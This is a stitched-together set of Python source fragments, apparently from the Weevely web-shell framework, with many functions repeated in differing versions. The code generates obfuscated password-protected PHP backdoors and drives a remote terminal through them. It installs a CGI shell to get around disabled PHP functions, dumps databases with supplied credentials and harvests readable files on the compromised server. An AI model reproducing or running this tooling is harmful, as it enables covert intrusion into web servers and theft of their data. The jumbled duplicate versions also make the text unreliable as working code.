def run_cmdline(self, line): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): string containing the module arguments. Return: Object. The result of the module execution. """ try: result = self.run_argv(shlex.split(line)) except Exception as e: log.warn(messages.generic.error_parsing_command_s % str(e)) return if result not in (None, ''): log.info(utilities.stringify(result)) # Data is returned for the testing of _cmdline calls return result
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') # Should be OK to set whethever variable we want # and which will eventually be used by a module. self[module_name]['stored_args'][arg_name] = value log.info(messages.sessions.set_module_s_s_s % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warn(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = value log.info(messages.sessions.set_s_s % (module_name, value))
def unset(self, module_argument): """Called by user to unset the session variables""" # If action_<module_argument> function exists, trigger the action # passing None action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, None) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_session_s_not_modified % ( '%s.%s' % (module_name, arg_name) )) else: del self[module_name]['stored_args'][arg_name] log.info(messages.sessions.unset_module_s_s % (module_name, arg_name)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warn(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = None log.info(messages.sessions.unset_s % (module_name))
def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate(password=arguments.password, obfuscator=arguments.obfuscator, agent=arguments.agent) generate.save_generated(obfuscated, arguments.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.password, arguments.path, len(obfuscated))) return elif arguments.command == 'terminal': session = SessionURL(url=arguments.url, password=arguments.password) elif arguments.command == 'session': session = SessionFile(arguments.path) dlog.debug(pprint.pformat(session)) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd)
def set(self, module_argument, value): # Do a safe evaluation of the value try: value = ast.literal_eval(value) except: pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) )) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def run(self): # Terminate if shell_sh is active if self.session['shell_sh']['status'] == Status.RUN: log.warning(messages.module_audit_disablefunctionbypass.error_sh_commands_enabled) return # Install if -just-run option hasn't been provided, else directly check the backdoor script_url = self.args.get('just_run') if not script_url: script_url = self._install() if not script_url: return elif not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url)) return log.warning(messages.module_audit_disablefunctionbypass.requests_not_obfuscated) # Console loop while True: query = raw_input('CGI shell replacement $ ').strip() if not query: continue if query == 'quit': break log.info(http.request('%s?c=%s' % (script_url, query)))
def run(self): # Terminate if shell_sh is active if self.session['shell_sh']['status'] == Status.RUN: log.warning(messages.module_audit_disablefunctionbypass. error_sh_commands_enabled) return # Install if -just-run option hasn't been provided, else directly check the backdoor script_url = self.args.get('just_run') if not script_url: script_url = self._install() if not script_url: return elif not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass. error_s_unexpected_output % (script_url)) return log.warning(messages.module_audit_disablefunctionbypass. requests_not_obfuscated) # Console loop while True: query = raw_input('CGI shell replacement $ ').strip() if not query: continue if query == 'quit': break log.info(http.request('%s?c=%s' % (script_url, query)))
def _print_command_replacements(self): data = [] for module_name, module in modules.loaded.items(): if module.aliases: data.append([ ', '.join(module.aliases), module_name ]) if data: log.info(utils.prettify.tablify(data, table_border = False))
def _print_modules(self): data = [] for module_group, names in modules.loaded_tree.items(): for module_name in names: data.append([ ':%s' % module_name, modules.loaded[module_name].info.get('description', '') ]) if data: log.info(utils.prettify.tablify(data, table_border = False))
def _print_command_replacements(self): data = [] for module_name, module in modules.loaded.items(): if module.aliases: data.append([', '.join(module.aliases), module_name]) if data: log.info(utils.prettify.tablify(data, table_border=False))
def run(self): files = [] if ModuleExec("file_check", [self.args['rpath'], 'dir']).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ['-readable', self.args['rpath']] if self.args.get('name_regex'): file_find_args += ['-name-regex', self.args.get('name_regex')] if self.args.get('no_recursion'): file_find_args += ['-no-recursion'] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run() and ModuleExec("file_check", [self.args['rpath'], 'readable']).run()): # If the remote path is a readable file, just store the path files = [self.args['rpath']] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` results = {} for rfile in files: result = self.vectors.get_result( self.args['vector'], { 'regex': self.args['regex'], 'rfile': rfile, 'case': self.args['case'] }) result_list = result.split('\n') if isinstance( result, str) and result else [] if result_list: if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % (rfile, line)) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list return results
def run(self, args): files = [] if ModuleExec("file_check", [ args['rpath'], 'dir' ]).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = [ '-readable', args['rpath'] ] if args.get('name_regex'): file_find_args += [ '-name-regex', args.get('name_regex') ] if args.get('no_recursion'): file_find_args += [ '-no-recursion' ] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [ args['rpath'], 'file' ]).run() and ModuleExec("file_check", [ args['rpath'], 'readable' ]).run()): # If the remote path is a readable file, just store the path files = [ args['rpath'] ] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` results = {} for rfile in files: result = self.vectors.get_result( args['vector'], { 'regex' : args['regex'], 'rfile' : rfile, 'case' : args['case'] } ) result_list = result.split('\n') if isinstance(result, str) and result else [] if result_list: if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % ( rfile, line )) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list return results
def precmd(self, line): """Before to execute a line commands. Confirm shell availability and get basic system infos """ dlog.info('>>>> %s' % line) # Skip slack check is not a remote command if not line or any( line.startswith(cmnd) for cmnd in (':set', ':help') ): return line # If no default shell is available if not self.session.get('default_shell'): # Trigger the shell_sh/shell_php probe if # 1. We never tied to raise shells (shell_sh = IDLE) # 2. The basic intepreter shell_php failed. It's OK to retry. if ( self.session['shell_sh']['status'] == Status.IDLE or self.session['shell_php']['status'] == Status.FAIL ): # force shell_php to idle to avoid to be skipped by shell_sh self.session['shell_php']['status'] = Status.IDLE self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup() for shell in ('shell_sh', 'shell_php'): if self.session[shell]['status'] == Status.RUN: self.session['default_shell'] = shell break # Re-check if some shell is loaded if not self.session.get('default_shell'): log.error(messages.terminal.backdoor_unavailable) return '' # Print an introductory string with php shell if self.session.get('default_shell') == 'shell_php': log.info(messages.terminal.welcome_no_shell) self._print_command_replacements() log.info('\nweevely> %s' % line) # Get hostname and whoami if not set if not self.session['system_info']['results'].get('hostname'): modules.loaded['system_info'].run_argv([ "-info", "hostname"]) if not self.session['system_info']['results'].get('whoami'): modules.loaded['system_info'].run_argv(["-info", "whoami"]) # Get current working directory if not set # Should be OK to repeat this every time if not set. if not self.session['file_cd']['results'].get('cwd'): self.do_file_cd(".") return line
def do_max_time_bypass(self, line, cmd): """Toggles a session variable used by :shell_php module""" k = 'max_time_bypass' if k not in self.session: self.session[k] = False self.session[k] = not self.session[k] status = 'ENABLED' if self.session[k] else 'DISABLED' log.info(messages.terminal.max_time_status.format(status))
def run(self): self.args['table'] = self.args.get('table', '') if self.args['vector'] == 'mysqldump_sh' and self.args['dbms'] != 'mysql': log.warn(messages.module.vector_s_not_support_arg_s_s % ( self.args['vector'], 'dbms', self.args['dbms'] ) ) return vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r and '-- Dumping data for table' in r ) if not vector_name: log.warn(messages.module_sql_dump.sql_dump_failed_check_credentials) return # Get a temporary file name if not specified lpath = self.args.get('lpath') if not lpath: temp_file = tempfile.NamedTemporaryFile( suffix = '_%s_%s_%s_%s.sqldump' % ( self.args['user'], self.args['passwd'], self.args['host'], self.args['db'] ), delete = False ) lpath = temp_file.name if not os.path.isabs(lpath): if lpath.startswith('~'): lpath = os.path.expanduser('~') + os.path.join('/', lpath.replace('~/', '')) else: lpath = os.path.join(os.getcwd(), lpath) path, filename = os.path.split(lpath) if not os.path.exists(path): os.makedirs(path) try: open(lpath, 'w').write(result) except Exception as e: log.warn( messages.generic.error_creating_file_s_s % (lpath, e) ) return log.info(messages.module_sql_dump.sql_dump_saved_s % lpath)
def precmd(self, line): """Before to execute a line commands. Confirm shell availability and get basic system infos """ dlog.info('>>>> %s' % line) # Skip slack check is not a remote command if not line or any( line.startswith(cmnd) for cmnd in (':set', ':help')): return line # If no default shell is available if not self.session.get('default_shell'): # Trigger the shell_sh/shell_php probe if # 1. We never tied to raise shells (shell_sh = IDLE) # 2. The basic intepreter shell_php failed. It's OK to retry. if (self.session['shell_sh']['status'] == Status.IDLE or self.session['shell_php']['status'] == Status.FAIL): # force shell_php to idle to avoid to be skipped by shell_sh self.session['shell_php']['status'] = Status.IDLE self.session['shell_sh']['status'] = modules.loaded[ 'shell_sh'].setup() for shell in ('shell_sh', 'shell_php'): if self.session[shell]['status'] == Status.RUN: self.session['default_shell'] = shell break # Re-check if some shell is loaded if not self.session.get('default_shell'): log.error(messages.terminal.backdoor_unavailable) return '' # Print an introductory string with php shell if self.session.get('default_shell') == 'shell_php': log.info(messages.terminal.welcome_no_shell) self._print_command_replacements() log.info('\nweevely> %s' % line) # Get hostname and whoami if not set if not self.session['system_info']['results'].get('hostname'): modules.loaded['system_info'].run_argv(["-info", "hostname"]) if not self.session['system_info']['results'].get('whoami'): modules.loaded['system_info'].run_argv(["-info", "whoami"]) # Get current working directory if not set # Should be OK to repeat this every time if not set. if not self.session['file_cd']['results'].get('cwd'): self.do_file_cd(".") return line
def do_help(self, arg, command): """Fixed help.""" print self._print_modules() if self.session['shell_sh']['status'] == Status.RUN: print; return log.info(messages.terminal.help_no_shell) self._print_command_replacements() print
def print_result(self, result): """Format and print execution result. Called at every executions from command line. Override this to implement a different result print format. Args: result (Object): The result to format and print. """ if result not in (None, ''): log.info(utils.prettify.tablify(result))
def default(self, line): """Default command line send.""" if not line: return default_shell = self.session.get('default_shell') if not default_shell: return result = modules.loaded[default_shell].run_argv([line]) if not result: return log.info(result)
def run_cmdline(self, line, cmd = ''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result( result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result ) # Data is returned for the testing of _cmdline calls return result
def print_to_user(self, module_filter = ''): for mod_name, mod_value in self.items(): if isinstance(mod_value, dict): mod_args = mod_value.get('stored_args') # Is a module, print all the storable stored_arguments for argument, arg_value in mod_args.items(): if not module_filter or ("%s.%s" % (mod_name, argument)).startswith(module_filter): log.info("%s.%s = '%s'" % (mod_name, argument, arg_value)) else: # If is not a module, just print if matches with print_filters if any(f for f in print_filters if f == mod_name): log.info("%s = '%s'" % (mod_name, mod_value))
def run_cmdline(self, line, cmd=''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result(result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result) # Data is returned for the testing of _cmdline calls return result
def run(self): self.args['table'] = self.args.get('table', '') if self.args[ 'vector'] == 'mysqldump_sh' and self.args['dbms'] != 'mysql': log.warn(messages.module.vector_s_not_support_arg_s_s % (self.args['vector'], 'dbms', self.args['dbms'])) return vector_name, result = self.vectors.find_first_result( names=[self.args.get('vector')], format_args=self.args, condition=lambda r: r and '-- Dumping data for table' in r) if not vector_name: log.warn( messages.module_sql_dump.sql_dump_failed_check_credentials) return # Get a temporary file name if not specified lpath = self.args.get('lpath') if not lpath: temp_file = tempfile.NamedTemporaryFile( suffix='_%s_%s_%s_%s.sqldump' % (self.args['user'], self.args['passwd'], self.args['host'], self.args['db']), delete=False) lpath = temp_file.name if not os.path.isabs(lpath): if lpath.startswith('~'): lpath = os.path.expanduser('~') + os.path.join( '/', lpath.replace('~/', '')) else: lpath = os.path.join(os.getcwd(), lpath) path, filename = os.path.split(lpath) if not os.path.exists(path): os.makedirs(path) try: open(lpath, 'w').write(result) except Exception as e: log.warn(messages.generic.error_creating_file_s_s % (lpath, e)) return log.info(messages.module_sql_dump.sql_dump_saved_s % lpath)
def print_to_user(self, module_filter = ''): dlog.info(pprint.pformat(self)) for mod_name, mod_value in self.items(): if isinstance(mod_value, dict): mod_args = mod_value.get('stored_args') # Is a module, print all the storable stored_arguments for argument, arg_value in mod_args.items(): if not module_filter or ("%s.%s" % (mod_name, argument)).startswith(module_filter): log.info(messages.sessions.set_module_s_s_s % (mod_name, argument, arg_value)) else: # If is not a module, just print if matches with print_filters if any(f for f in print_filters if f == mod_name and f.startswith(module_filter)): log.info(messages.sessions.set_s_s % (mod_name, mod_value))
def do_help(self, arg, command): print('\nBuilt-in commands:') log.info( utils.prettify.tablify( [('help, :help', messages.terminal.help_help), (':set name "value"', messages.terminal.set_help), (':unset name', messages.terminal.unset_help), (':show', messages.terminal.show_help), (':alias name "code"', messages.terminal.alias_help), (':unalias name', messages.terminal.unalias_help), (':alias name', messages.terminal.show_alias_help), (':alias', messages.terminal.list_alias_help), (':max_time_bypass', messages.terminal.max_time_help)], table_border=False)) super(Terminal, self).do_help(arg, command)
def default(self, line): """Default command line send.""" if not line: return default_shell = self.session.get('default_shell') if not default_shell: return result = modules.loaded[default_shell].run_argv([line]) if not result: return # Clean trailing newline if existent to prettify output result = result[:-1] if (isinstance(result, basestring) and result.endswith('\n')) else result log.info(result)
def print_to_user(self, module_filter=''): for mod_name, mod_value in self.items(): if isinstance(mod_value, dict): mod_args = mod_value.get('stored_args') # Is a module, print all the storable stored_arguments for argument, arg_value in mod_args.items(): if not module_filter or ( "%s.%s" % (mod_name, argument)).startswith(module_filter): log.info("%s.%s = '%s'" % (mod_name, argument, arg_value)) else: # If is not a module, just print if matches with print_filters if any(f for f in print_filters if f == mod_name): log.info("%s = '%s'" % (mod_name, mod_value))
def run(self, args): args['table'] = args.get('table', '') if args['vector'] == 'mysqldump_sh' and args['dbms'] != 'mysql': log.warn(messages.module.vector_s_not_support_arg_s_s % ( args['vector'], 'dbms', args['dbms'] ) ) return vector_name, result = self.vectors.find_first_result( names = [ args.get('vector') ], format_args = args, condition = lambda r: r and '-- Dumping data for table' in r ) if not vector_name: log.warn(messages.module_sql_dump.sql_dump_failed_check_credentials) return # Get a temporary file name if not specified lpath = args.get('lpath') if not lpath: temp_file = tempfile.NamedTemporaryFile( suffix = '_%s_%s_%s_%s.sqldump' % ( args['user'], args['passwd'], args['host'], args['db'] ), delete = False ) lpath = temp_file.name try: open(lpath, 'w').write(result) except Exception as e: log.warn( messages.generic.error_creating_file_s_s % (lpath, e) ) return log.info(messages.module_sql_dump.sql_dump_saved_s % lpath)
def print_result(self, result): if result['error']: log.info(result['error']) if result['result']: Module.print_result(self, result['result']) elif not result['error']: log.warn('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials)) command_last_chars = utils.prettify.shorten( self.args['query'].rstrip(), keep_trailer=10) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
def help(self): """Function called on terminal help command. This is binded with the terminal `help_module()` method. Normally does not need to be overridden. """ option_args_help = Template( messages.help.details ).render( module_name = self.name, description = self.info['description'], mand_arguments = self.args_mandatory, opt_arguments = self.args_optional, stored_arguments = self.session[self.name]['stored_args'], vector_arg = (self.bind_to_vectors, self.vectors.get_names()) ) log.info(option_args_help)
def default(self, line): """Default command line send.""" if not line: return default_shell = self.session.get('default_shell') if not default_shell: return result = modules.loaded[default_shell].run_argv([line]) if not result: return # Clean trailing newline if existent to prettify output result = result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result log.info(result)
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ('%s.%s' % (module_name, arg_name))) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def print_result(self, result): if result['error']: log.info(result['error']) if result['result']: Module.print_result(self, result['result']) elif not result['error']: log.warn('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials) ) command_last_chars = utils.prettify.shorten( self.args['query'].rstrip(), keep_trailer = 10 ) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
def do_help(self, arg, command): """Fixed help.""" print data = [] for module_group, names in modules.loaded_tree.items(): for module_name in names: data.append([ ':%s' % module_name, modules.loaded[module_name].info.get('description', '') ]) if data: log.info(utilities.stringify(data, table_border=False)) if self.session['shell_sh']['status'] == Status.RUN: print return log.info(messages.terminal.help_no_shell) data = [] for module_name, module in modules.loaded.items(): if module.aliases: data.append([', '.join(module.aliases), module_name]) if data: log.info(utilities.stringify(data, table_border=False)) print
def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate( password = arguments.password, obfuscator = arguments.obfuscator, agent = arguments.agent ) generate.save_generated(obfuscated, arguments.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.path, arguments.password, len(obfuscated)) ) return elif arguments.command == 'terminal': session = SessionURL( url = arguments.url, password = arguments.password ) elif arguments.command == 'session': session = SessionFile(arguments.path) dlog.debug( pprint.pformat(session) ) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd)
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) )) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def run(self, args): results = {} for func_name in [ # Execute every function starting with check_* fn for fn in self.check_functions # if the user does not specify any name if not args.get('check') # of if specify the current function name or args.get('check') == fn ]: function = getattr(self, func_name) log.warn(function.__doc__) result = function() if result: log.info('\n'.join(result)) results.update({ func_name : result }) return results
def run(self): results = {} for func_name in [ # Execute every function starting with check_* fn for fn in self.check_functions # if the user does not specify any name if not self.args.get('check') # of if specify the current function name or self.args.get('check') == fn ]: function = getattr(self, func_name) log.warn(function.__doc__) result = function() if result: log.info('\n'.join(result)) results.update({ func_name : result }) return results
def print_result(self, result): result, headers, saved = result # If is saved, we do not want output if self.args.get('output'): log.info(saved) return # Print headers if requested if self.args.get('include_headers'): log.info( '\r\n'.join(headers) + '\r\n') if result: log.info(result)
def do_help(self, arg, command): """Fixed help.""" print data = [] for module_group, names in modules.loaded_tree.items(): for module_name in names: data.append([ ':%s' % module_name, modules.loaded[module_name].info.get('description', '') ]) if data: log.info(utilities.stringify(data, table_border = False)) if self.session['shell_sh']['status'] == Status.RUN: print; return log.info(messages.terminal.help_no_shell) data = [] for module_name, module in modules.loaded.items(): if module.aliases: data.append([ ', '.join(module.aliases), module_name ]) if data: log.info(utilities.stringify(data, table_border = False)) print
def print_result(self, result): """Override print_result to print timestamp in an human readable form""" if result: log.info('New timestamp: %s' % datetime.datetime.fromtimestamp(result).strftime('%Y-%m-%d %H:%M:%S') )
def run(self): files = [] if ModuleExec("file_check", [self.args['rpath'], 'dir']).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ['-readable', self.args['rpath'], '-ftype', 'f'] if self.args.get('name_regex'): file_find_args += ['-name-regex', self.args.get('name_regex')] if self.args.get('no_recursion'): file_find_args += ['-no-recursion'] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run() and ModuleExec("file_check", [self.args['rpath'], 'readable']).run()): # If the remote path is a readable file, just store the path files = [self.args['rpath']] # Validate files presence if not isinstance(files, list) or not files: log.warning(messages.module_file_grep.failed_retrieve_info) return None, False # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` # and store them as string whether requested results = {} output_str = '' output_path = self.args.get('output') for rfile in files: result_str = self.vectors.get_result( self.args['vector'], { 'regex': self.args['regex'], 'rfile': rfile, 'case': self.args['case'], 'invert': self.args['invert'] }) # Both grep_sh and grep_php -v trail a \n, this should work fine result_str = result_str[:-1] if result_str and result_str.endswith( '\n') else result_str result_list = result_str.split('\n') if isinstance( result_str, str) and result_str else [] # This means the command returned something something if result_list: if output_path: # If output is redirected, just append to output_str output_str += result_str else: # Else, print it out if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % (rfile, line)) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list # Save output to file whether specified saved = False if output_path: if not self.args.get('local'): saved = ModuleExec( 'file_upload', ['-content', result_str, output_path]).run() else: try: with open(output_path, 'wb') as outputfile: outputfile.write(result_str.encode('utf-8')) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (output_path, str(e))) else: saved = True return results, saved
def print_result(self, result): if result: log.info('\n'.join(result))
obfuscators_available = [ os.path.split(agent)[1].split('.')[0] for agent in glob.glob('%s/*.tpl' % obfuscators_templates_folder_path) ] generateparser = subparsers.add_parser('generate', help='Generate new agent') generateparser.add_argument('password', help = 'Agent password') generateparser.add_argument('path', help = 'Agent file path') generateparser.add_argument( '-obfuscator', #The obfuscation method choices = obfuscators_available, default = 'obfusc1_php' ) generateparser.add_argument( '-agent', #The agent channel type choices = agents_available, default = 'obfpost_php' ) parser.set_default_subparser('terminal') arguments = parser.parse_args() try: main(arguments) except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
from core.terminal import Terminal from core.weexceptions import FatalException from core.loggers import log from core.sessions import SessionURL, SessionFile from core import modules from core import messages from core import config import sys import pprint if __name__ == '__main__': try: if len(sys.argv) == 3 and sys.argv[1].startswith('http'): session = SessionURL(url=sys.argv[1], password=sys.argv[2]) elif len(sys.argv) == 2: session = SessionFile(sys.argv[1]) else: log.info(__doc__) raise FatalException(messages.generic.error_missing_arguments) log.debug(pprint.pformat(session)) modules.load_modules(session) Terminal(session).cmdloop() except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
def find_first_result(self, names = [], format_args = {}, condition = None, store_result = False, store_name = ''): """ Execute all the vectors and return the first result matching the given condition. Return the name and the result of the first vector execution response that satisfy the given condition. With unspecified names, execute all the vectors. Optionally store results. Exceptions triggered checking condition function are catched and logged. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. condition (function): The function or lambda to check certain conditions on result. Must returns boolean. store_result (bool): Store as result. store_name (str): Store the found vector name in the specified argument. Returns: Tuple. Contains the vector name and execution result in the `( vector_name, result )` form. """ if not callable(condition): raise DevException(messages.vectors.wrong_condition_type) if not isinstance(store_name, str): raise DevException(messages.vectors.wrong_store_name_type) for vector in self: # Skip with wrong vectors if not self._os_match(vector.target): continue # Clean names filter from empty objects names = [ n for n in names if n ] # Skip if names filter is passed but current vector is missing if names and not any(n in vector.name for n in names): continue # Add current vector name format_args['current_vector'] = vector.name # Run result = vector.run(format_args) # See if condition is verified try: condition_result = condition(result) except Exception as e: import traceback; log.info(traceback.format_exc()) log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name) condition_result = False # Eventually store result or vector name if condition_result: if store_result: self.session[self.module_name]['results'][vector.name] = result if store_name: self.session[self.module_name]['stored_args'][store_name] = vector.name return vector.name, result return None, None
] obfuscators_available = [ os.path.split(agent)[1].split('.')[0] for agent in glob.glob('%s/*.tpl' % obfuscators_templates_folder_path) ] generateparser = subparsers.add_parser('generate', help='Generate a new password') generateparser.add_argument('password', help='The agent password') generateparser.add_argument('path', help='Where save the generated agent') generateparser.add_argument( '-obfuscator', #The obfuscation method choices=obfuscators_available, default='obfusc1_php') generateparser.add_argument( '-agent', #The agent channel type choices=agents_available, default='stegaref_php') parser.set_default_subparser('terminal') arguments = parser.parse_args() try: main(arguments) except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
def find_first_result(self, names=[], format_args={}, condition=None, store_result=False, store_name=''): """ Execute all the vectors and return the first result matching the given condition. Return the name and the result of the first vector execution response that satisfy the given condition. With unspecified names, execute all the vectors. Optionally store results. Exceptions triggered checking condition function are catched and logged. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. condition (function): The function or lambda to check certain conditions on result. Must returns boolean. store_result (bool): Store as result. store_name (str): Store the found vector name in the specified argument. Returns: Tuple. Contains the vector name and execution result in the `( vector_name, result )` form. """ if not callable(condition): raise DevException(messages.vectors.wrong_condition_type) if not isinstance(store_name, str): raise DevException(messages.vectors.wrong_store_name_type) for vector in self: # Skip with wrong vectors if not self._os_match(vector.target): continue # Clean names filter from empty objects names = [n for n in names if n] # Skip if names filter is passed but current vector is missing if names and not any(n in vector.name for n in names): continue # Add current vector name format_args['current_vector'] = vector.name # Run result = vector.run(format_args) # See if condition is verified try: condition_result = condition(result) except Exception as e: import traceback log.info(traceback.format_exc()) log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name) condition_result = False # Eventually store result or vector name if condition_result: if store_result: self.session[self.module_name]['results'][ vector.name] = result if store_name: self.session[self.module_name]['stored_args'][ store_name] = vector.name return vector.name, result return None, None
